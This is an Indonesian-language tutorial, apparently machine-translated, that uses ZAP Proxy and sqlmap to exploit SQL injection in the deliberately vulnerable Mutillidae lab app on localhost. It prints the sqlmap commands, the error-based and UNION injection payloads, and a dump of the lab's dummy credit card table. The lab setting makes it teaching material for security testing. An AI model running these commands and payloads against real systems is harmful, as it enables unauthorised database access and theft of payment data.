A1: 2017 - Suntikan (Bagian 3 dan Terakhir)

Dalam game komputer favorit saya, Quest for Glory 2: Trial by Fire, ketika dunia sekali lagi dalam bahaya, karakter utama berakhir di University of Wizards. Setelah berhasil melewati ujian masuk, penyihir bijaksana berjanggut menawarkan untuk pergi ke Universitas ini karena, setelah menyelesaikannya, kita akan memahami semua seluk-beluk sihir, mempelajari semua mantra dan kemudian kita pasti akan menyelamatkan teman-teman kita dan mengalahkan kejahatan dunia. Satu-satunya masalah adalah bahwa mereka harus belajar selama 15-20 tahun, dan selama waktu ini kekuatan jahat akan memiliki waktu untuk mengalahkan lebih dari sekali.

Setiap kali saya tanpa sadar mengingat episode ini, ketika saya menghadapi buku lain yang menarik atau setumpuk dokumentasi teknis. Banyak buku telah ditulis tentang manajemen waktu, tetapi bagi saya itu datang ke rumus sederhana: menemukan dasar-dasarnya, menemukan contoh - kemudian hanya otomatisasi!

Sekarang kita memiliki gagasan kasar tentang bagaimana injeksi bekerja, mengapa tidak mencoba menyederhanakan hidup kita dan sekali lagi membuat beberapa contoh masa lalu, tetapi dengan bantuan perangkat lunak tambahan. Kami membutuhkan dua alat:
Sqlmap - alat yang memungkinkan Anda untuk mengotomatiskan pencarian dan eksploitasi kerentanan dalam SQL dan ZAP Proxy - server proxy lokal yang diperlukan untuk menganalisis lalu lintas antara browser di server web.

Sekali lagi, perlu disebutkan bahwa ini bukan satu-satunya alat seperti itu, dan pasti di blog berikutnya Anda akan terbukti dengan meyakinkan bahwa alih-alih sqlmap Anda perlu berurusan dengan sqlninja, dan Anda tidak perlu menghabiskan waktu untuk ZAP ketika ada Burp. Saya tidak akan berdebat dengan siapa pun.

Kami akan mulai membuat hidup lebih mudah dengan mencegat lalu lintas antara klien dan server web. Data yang dihasilkan akan digunakan sebagai parameter untuk sqlmap. Pada umumnya, URL aplikasi yang rentan juga dapat berfungsi sebagai parameter seperti itu, tetapi sekarang data dari proxy akan lebih jelas bagi kami.

Kami akan bekerja dengan contoh yang sama dari A1 yang kami analisis di artikel sebelumnya ("SQLi - Extract Data"> "Info Pengguna (SQL)").


Kami akan pergi ke halaman ini melalui Proxy ZAP kami dan memasukkan beberapa data. Saya mengerti bahwa godaan sudah mencoba sesuatu dari apa yang telah kita pelajari, tetapi saat ini Anda hanya perlu memasukkan data yang jelas salah. Saya memasukkan admin / kata sandi favorit saya dan mendapatkan permintaan berikut dalam intersepsi:

GET http://127.0.0.1/mutillidae/index.php?page=user- info.php&username=admin&password=password&user-info-php-submit- button=View+Account+Details HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega Connection: keep-alive Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 

Di sini kami terutama tertarik pada baris pertama, yaitu permintaan. Terkadang berguna untuk memeriksa apakah kami mencegat. Ini dapat dilakukan dengan mengulangi permintaan yang dihasilkan ini di browser yang sama. Jika kami mendapatkan halaman yang sama dengan kesalahan, maka kami berada di jalur yang benar.

Kami akan menyimpan permintaan intersepsi kami sebagai file terpisah request_sqlmap.txt.

Sekarang, mari kita meneruskan file ini untuk analisis ke sqlmap:

 sqlmap -r reqest_sqlmap.txt --banner 

Kita membutuhkan parameter –banner untuk sqlmap untuk mencoba menentukan DBMS yang kita hadapi. Dalam contoh kami, ini tidak begitu penting, tetapi dalam praktiknya, Anda dapat mempercepat pengujian tanpa terganggu oleh aspek-aspek DBMS lain yang tidak berlaku untuk tujuan Anda.

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests: --- Parameter: username (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details --- [23:20:10] [INFO] the back-end DBMS is MySQL [23:20:10] [INFO] fetching banner web server operating system: Windows web application technology: Apache 2.4.29, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 banner: '10.1.31-MariaDB' [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1' 

Pemindaian berhasil diselesaikan, dan kami sekali lagi melihat apa, secara umum, kami sudah tahu:

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable 

Selain itu, sqlmap menentukan bahwa kita berurusan dengan mysql, atau lebih tepatnya, fork-nya. Sekarang mari kita lihat database apa yang ada di server:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs 

Selanjutnya, kami akan menunjukkan file intersepsi kami sebagai parameter untuk sqlmap. Selain itu, kami akan menunjukkan parameter yang sudah kami ketahui: jenis DBMS, serta -db untuk mendapatkan data tentang database yang ada:

 [23:27:19] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] information_schema [*] mutillidae [*] mysql [*] performance_schema [*] phpmyadmin [*] test 


Bagus Biasanya, database diberi beberapa nama yang bermakna, atau dibuat secara otomatis saat menginstal aplikasi. Prinsip "Keamanan karena ketidakjelasan", tentu saja, belum dibatalkan, tetapi ini merupakan pengecualian daripada aturannya. Hal yang paling menarik dalam kasus kami, tampaknya, adalah base mutillidae, mari kita lihat terdiri dari:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables 

Di sini, untuk hal-hal yang kita ketahui, kita akan menambahkan DBMS dan kunci –tabel yang diperlukan untuk melihat tabel dalam database ini:

 [23:29:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae [13 tables] +----------------------------+ | accounts | | balloon_tips | | blogs_table | | captured_data | | credit_cards | | help_texts | | hitlog | | level_1_help_include_files | | page_help | | page_hints | | pen_test_tools | | user_poll_results | | youtubevideos | +----------------------------+ 

Sudah tidak buruk. Tabel credit_cards terlihat sangat menjanjikan. Mari kita melihatnya:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns 

dan dapatkan:

 [23:31:35] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [4 columns] +------------+---------+ | Column | Type | +------------+---------+ | ccid | int(11) | | ccnumber | text | | ccv | text | | expiration | date | +------------+---------+ 

Wow, ada seluruh tabel tempat data kartu kredit harus disimpan! Sekarang kita sudah sampai, mari kita lihat tabel ini:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump 

Ups:

 [23:32:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [5 entries] +------+-----+----------------------------+-----------------+ | ccid | ccv | ccnumber | expiration | +------+-----+----------------------------+-----------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+----------------------------+-----------------+ 

Inilah mereka, kartu kredit kami. Dua pertanyaan sekarang seharusnya terdengar di kepala Anda: bagaimana cara kerjanya, dan dari mana semua data ini berasal?

Bagaimana cara kerjanya? Yah, sebenarnya, itu sama seperti jika Anda memilah-milah semua opsi yang mungkin, mencoba secara acak untuk mengeksploitasi kerentanan tertentu.

Tetapi dari mana data itu berasal, pertanyaannya adalah kepada administrator yang memposting informasi penting di tempat yang tidak pantas.

Sqlmap memiliki banyak parameter yang tidak dapat kami uraikan dalam satu artikel. Tetapi tugas dari artikel saya adalah untuk memperkenalkan solusi, dan kemudian terserah Anda. Cobalah pada waktu luang Anda untuk juga menggali bagian dasar dan bereksperimen dengan parameter, mungkin kartu kredit bukan yang paling menarik. =)

Baca blog penulis di tautan ini .

Source: https://habr.com/ru/post/id429706/


All Articles